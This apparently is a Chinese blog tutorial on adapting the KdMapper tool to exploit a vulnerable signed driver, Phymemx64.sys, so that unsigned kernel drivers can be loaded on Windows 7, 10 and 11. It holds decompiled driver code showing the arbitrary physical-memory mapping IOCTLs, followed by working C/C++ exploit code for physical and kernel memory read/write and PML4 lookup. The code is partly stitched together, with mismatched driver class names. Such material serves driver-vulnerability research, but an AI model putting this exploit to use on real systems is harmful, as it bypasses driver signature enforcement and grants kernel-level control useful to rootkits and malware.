1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | Phymemx64.sys |
时间戳 | 58355A99 |
MD5 | 715572DFE6FB10B16F980BFA242F3FA5 |
文件版本 | 无 |
映射物理内存 | 0x80102040 |
取消映射物理内存 | 0x80102044 |
Windows 7 | 支持 |
Windows 10 | 22H2(包含)及以下 |
Windows 11 | 22621(不包含)以下 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS result; // eax
NTSTATUS v4; // ebx
__int64 (*v5)(void); // rax
if (!DriverObject)
return CreateDevice(0i64);
qword_140003D10 = (__int64)DriverObject;
DestinationString.MaximumLength = 520;
DestinationString.Length = 0;
DestinationString.Buffer = (PWSTR)&unk_140003D20;
RtlCopyUnicodeString(&DestinationString, RegistryPath);
result = WdfVersionBind(DriverObject, &DestinationString, &unk_140003010, &qword_140003D08);
if (result >= 0)
{
v4 = sub_140001228((__int64)&unk_140003010);
if (v4 < 0 || (sub_1400012B0(), v4 = CreateDevice(DriverObject), v4 < 0))
{
sub_140001000();
result = v4;
}
else
{
if (*(_BYTE*)(qword_140003D08 + 48))
{
v5 = qword_140003CF8;
if (DriverObject->DriverUnload)
v5 = (__int64 (*)(void))DriverObject->DriverUnload;
qword_140003CF8 = v5;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_140001038;
}
else if ((*(_BYTE*)(qword_140003D08 + 8) & 2) != 0)
{
qword_140003D00 = qword_1400036C8;
qword_1400036C8 = (__int64)sub_140001030;
}
result = 0;
}
}
return result;
}
3.2 创建设备和符号链接
__int64 __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
NTSTATUS v2; // ebx
struct _UNICODE_STRING DeviceName; // [rsp+40h] [rbp-28h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-18h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF
DeviceObject = 0i64;
RtlInitUnicodeString(&DeviceName, L"\\Device\\PhyMem");
v2 = IoCreateDevice(DriverObject, 0, &DeviceName, 0x8010u, 0, 0, &DeviceObject);
if (v2 >= 0)
{
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)DeviceIoControl;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)DeviceIoControl;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_1400017A0;
RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\PhyMem");
v2 = IoCreateSymbolicLink(&DestinationString, &DeviceName);
if (v2 < 0)
IoDeleteDevice(DeviceObject);
}
return (unsigned int)v2;
}
3.3 DeviceIoControl
其代码如下:
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
_IO_STACK_LOCATION* pIosp; // rcx
_DWORD* pSystemBuffer; // rbx
size_t nInputBufferLength; // rax
ULONG nIoControlCode; // ecx
unsigned __int32 v7; // eax
size_t nMapBufferSize; // rsi
NTSTATUS ntStatusMap; // er14
unsigned int v10; // ebx
unsigned __int16 Dst; // [rsp+30h] [rbp-40h] BYREF
unsigned int v13; // [rsp+32h] [rbp-3Eh]
char v14; // [rsp+36h] [rbp-3Ah]
PHYMEMEX64_MAP_UNMAP_PHISICAL_MEMORY_INFO Src; // [rsp+38h] [rbp-38h] BYREF
pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
pIrp->IoStatus.Status = 0;
pIrp->IoStatus.Information = 0i64;
pSystemBuffer = pIrp->AssociatedIrp.SystemBuffer;
nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
if (pIosp->MajorFunction != 14)
goto LABEL_29;
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
switch (nIoControlCode)
{
case 0x80102040:
if (!(_DWORD)nInputBufferLength)
goto LABEL_28;
nMapBufferSize = nInputBufferLength;
memmove(&Src, pIrp->AssociatedIrp.SystemBuffer, nInputBufferLength);
ntStatusMap = MapPhysicalAddress(
Src.PhysicalAddress,
Src.Size,
&Src.MappedAddress,
&Src.SectionHandle,
&Src.Object);
if (ntStatusMap >= 0)
{
memmove(pSystemBuffer, &Src, nMapBufferSize);
pIrp->IoStatus.Information = nMapBufferSize;
}
pIrp->IoStatus.Status = ntStatusMap;
break;
case 0x80102044:
if ((_DWORD)nInputBufferLength)
{
memmove(&Src, pIrp->AssociatedIrp.SystemBuffer, nInputBufferLength);
pIrp->IoStatus.Status = UnmapPhysicalAddress(Src.SectionHandle, Src.MappedAddress, Src.Object);
break;
}
goto LABEL_28;
case 0x80102050:
if (!(_DWORD)nInputBufferLength)
goto LABEL_28;
memmove(&Dst, pIrp->AssociatedIrp.SystemBuffer, nInputBufferLength);
switch (v14)
{
case 1:
LOBYTE(v7) = __inbyte(Dst);
v7 = (unsigned __int8)v7;
break;
case 2:
LOWORD(v7) = __inword(Dst);
v7 = (unsigned __int16)v7;
break;
case 4:
v7 = __indword(Dst);
break;
default:
v7 = v13;
break;
}
*pSystemBuffer = v7;
pIrp->IoStatus.Information = 4i64;
break;
default:
if (nIoControlCode == -2146426796 && (_DWORD)nInputBufferLength)
{
memmove(&Dst, pIrp->AssociatedIrp.SystemBuffer, (unsigned int)nInputBufferLength);
switch (v14)
{
case 1:
__outbyte(Dst, v13);
break;
case 2:
__outword(Dst, v13);
break;
case 4:
__outdword(Dst, v13);
break;
}
break;
}
LABEL_28:
pIrp->IoStatus.Status = 0xC000000D;
break;
}
LABEL_29:
v10 = pIrp->IoStatus.Status;
IofCompleteRequest(pIrp, 0);
return v10;
}
其中映射物理内存 ControlCode 为 0x80102040,相应的函数为 MapPhysicalAddress, 取消映射为 0x80102044,相应的函数为 UnmapPhysicalAddress。
3.4 映射物理内存
MapPhysicalAddress 如下:
__int64 __fastcall MapPhysicalAddress(PHYSICAL_ADDRESS BusAddress, ULONG_PTR nCommitSize, PVOID* pMappedAddress, HANDLE* hSection, PVOID* pObject)
{
PVOID* Object; // rbx
NTSTATUS ntStatus; // edi
BOOLEAN ntStatusTranslateTemp; // al
BOOLEAN ntStatusTranslate; // bl
BOOLEAN ntStatusBus; // al
LARGE_INTEGER BusAddressa; // [rsp+50h] [rbp-31h] BYREF
LARGE_INTEGER TranslatedAddress; // [rsp+58h] [rbp-29h] BYREF
union _LARGE_INTEGER SectionOffset; // [rsp+60h] [rbp-21h] BYREF
PVOID BaseAddress; // [rsp+68h] [rbp-19h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+70h] [rbp-11h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+80h] [rbp-1h] BYREF
ULONG_PTR CommitSize; // [rsp+E8h] [rbp+67h] BYREF
ULONG AddressSpace; // [rsp+F8h] [rbp+77h] BYREF
CommitSize = nCommitSize;
BaseAddress = 0i64;
RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
*hSection = 0i64;
Object = pObject;
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.Length = 48;
ObjectAttributes.Attributes = 64;
*pObject = 0i64;
ObjectAttributes.ObjectName = &DestinationString;
*(_OWORD*)&ObjectAttributes.SecurityDescriptor = 0i64;
ntStatus = ZwOpenSection(hSection, 0xF001Fu, &ObjectAttributes);
if (ntStatus < 0)
goto LABEL_9;
ntStatus = ObReferenceObjectByHandle(*hSection, 0xF001Fu, 0i64, 0, Object, 0i64);
if (ntStatus < 0)
goto LABEL_9;
AddressSpace = 0;
TranslatedAddress = BusAddress;
BusAddressa.QuadPart = BusAddress.QuadPart + CommitSize;
ntStatusTranslateTemp = HalTranslateBusAddress(Isa, 0, BusAddress, &AddressSpace, &TranslatedAddress);
AddressSpace = 0;
ntStatusTranslate = ntStatusTranslateTemp;
ntStatusBus = HalTranslateBusAddress(Isa, 0, BusAddressa, &AddressSpace, &BusAddressa);
if (ntStatusTranslate && ntStatusBus)
{
SectionOffset = TranslatedAddress;
CommitSize = BusAddressa.QuadPart - TranslatedAddress.QuadPart;
ntStatus = ZwMapViewOfSection(
*hSection,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&BaseAddress,
0i64,
BusAddressa.QuadPart - TranslatedAddress.QuadPart,
&SectionOffset,
&CommitSize,
ViewShare,
0,
0x204u);
if (ntStatus == 0xC0000018)
ntStatus = ZwMapViewOfSection(
*hSection,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&BaseAddress,
0i64,
CommitSize,
&SectionOffset,
&CommitSize,
ViewShare,
0,
4u);
if (ntStatus >= 0)
{
*pMappedAddress = (char*)BaseAddress + TranslatedAddress.QuadPart - SectionOffset.QuadPart;
return (unsigned int)ntStatus;
}
LABEL_9:
ZwClose(*hSection);
}
return (unsigned int)ntStatus;
}
其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
3.5 取消映射物理内存
__int64 __fastcall UnmapPhysicalAddress(HANDLE Handle, void* MappedAddress, void* Object)
{
unsigned int ntStatus; // esi
ntStatus = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, MappedAddress);
if (Object)
ObfDereferenceObject(Object);
ZwClose(Handle);
return ntStatus;
}
3.6 PHYMEMEX64_MAP_UNMAP_PHISICAL_MEMORY_INFO结构
00000000 PHYMEMEX64_MAP_UNMAP_PHISICAL_MEMORY_INFO struc ; (sizeof=0x28, copyof_381)
00000000 ; XREF: DeviceIoControl/r
00000000 Size dq ? ; XREF: DeviceIoControl+15D/r
00000008 PhysicalAddress PHYSICAL_ADDRESS ? ; XREF: DeviceIoControl+165/r
00000010 SectionHandle dq ? ; XREF: DeviceIoControl+139/r
00000010 ; DeviceIoControl+169/o ; offset
00000018 MappedAddress dq ? ; XREF: DeviceIoControl+135/r
00000018 ; DeviceIoControl+16D/o ; offset
00000020 Object dq ? ; XREF: DeviceIoControl+131/r
00000020 ; DeviceIoControl+161/o ; offset
00000028 PHYMEMEX64_MAP_UNMAP_PHISICAL_MEMORY_INFO ends
4. 代码实现
4.1 .h文件
#pragma pack(push)
#pragma pack(1)
typedef struct _PHYMEMX64_PHYSICAL_MEMORY_INFO {
SIZE_T MapSize;
PHYSICAL_ADDRESS PhysicalAddress;
PVOID SectionHandle;
PVOID MappedBaseAddress;
PVOID Object;
} PHYMEMX64_PHYSICAL_MEMORY_INFO, * PPHYMEMX64_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define PHYMEMX64_DEVICE_TYPE (DWORD)0x8010
#define PHYMEMX64_MAP_SECTION_FUNCID (DWORD)0x810
#define PHYMEMX64_UNMAP_SECTION_FUNCID (DWORD)0x811
#define IOCTL_PHYMEMX64_MAP_USER_PHYSICAL_MEMORY \
CTL_CODE(PHYMEMX64_DEVICE_TYPE, PHYMEMX64_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040
#define IOCTL_PHYMEMX64_UNMAP_USER_PHYSICAL_MEMORY \
CTL_CODE(PHYMEMX64_DEVICE_TYPE, PHYMEMX64_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102044
4.2 .c文件
NTSTATUS huawei_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL huawei_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
PVOID huawei_driver::SuperMapMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ ULONG NumberOfBytes,
_Inout_ HANDLE* SectionHandle,
_Inout_ PVOID* Object
)
{
ULONG_PTR offset;
ULONG mapSize;
PHYMEMX64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
offset = PhysicalAddress & ~(PAGE_SIZE - 1);
mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;
request.PhysicalAddress.QuadPart = PhysicalAddress;
request.MapSize = mapSize;
request.MappedBaseAddress = NULL;
if (SuperCallDriver(DeviceHandle,
IOCTL_PHYMEMX64_MAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request)))
{
if (SectionHandle)
{
*SectionHandle = request.SectionHandle;
}
if (Object)
{
*Object = request.Object;
}
return request.MappedBaseAddress;
}
else
{
}
return NULL;
}
VOID huawei_driver::SuperUnmapMemory(_In_ HANDLE DeviceHandle, _In_ PVOID AdressToUnmap, HANDLE Section, PVOID Object)
{
PHYMEMX64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.MappedBaseAddress = AdressToUnmap;
request.SectionHandle = Section;
request.Object = Object;
SuperCallDriver(DeviceHandle,
IOCTL_PHYMEMX64_UNMAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
}
BOOL WINAPI huawei_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID mappedSection = NULL;
ULONG_PTR offset;
HANDLE hSection = NULL;
PVOID pObject = NULL;
//
// Map physical memory section.
//
mappedSection = SuperMapMemory(DeviceHandle,
PhysicalAddress,
NumberOfBytes,
&hSection,
&pObject);
if (mappedSection) {
offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
__try {
if (DoWrite) {
RtlCopyMemory(mappedSection/*RtlOffsetToPointer(mappedSection, offset)*/, Buffer, NumberOfBytes);
}
else {
RtlCopyMemory(Buffer, mappedSection /*RtlOffsetToPointer(mappedSection, offset)*/, NumberOfBytes);
}
bResult = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
//
// Unmap physical memory section.
//
SuperUnmapMemory(DeviceHandle,
mappedSection,
hSection,
pObject);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI huawei_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI huawei_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI huawei_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
BOOL WINAPI huawei_driver::SuperQueryPML4Value(
_In_ HANDLE DeviceHandle,
_Out_ ULONG_PTR* Value)
{
ULONG_PTR pbLowStub1M = 0ULL, PML4 = 0;
HANDLE hSection = NULL;
PVOID Object = NULL;
DWORD cbRead = 0x100000;
*Value = 0;
SetLastError(ERROR_SUCCESS);
pbLowStub1M = (ULONG_PTR)SuperMapMemory(DeviceHandle,
0ULL,
cbRead,
&hSection,
&Object);
if (pbLowStub1M) {
PML4 = SuperGetPML4FromLowStub1M(pbLowStub1M);
if (PML4)
*Value = PML4;
SuperUnmapMemory(DeviceHandle,
(PVOID)pbLowStub1M,
hSection,
Object);
}
return (PML4 != 0);
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
5. 运行效果
Windows 10 22H2环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
6.特别提示
由于利用驱动数字签名问题,该程序只能在Windows 7、Windows 10 22H2(包含)及以下、Windows 11 22621(不包含)以下运行。其它版本的Windows 10 和 Windows 11 由于驱动数字证书被吊销而不能使用。
标签:__,ULONG,Object,request,sys,Huawei,KdMapper,ntStatus,PVOID From: https://www.cnblogs.com/ImprisonedSoul/p/17703357.html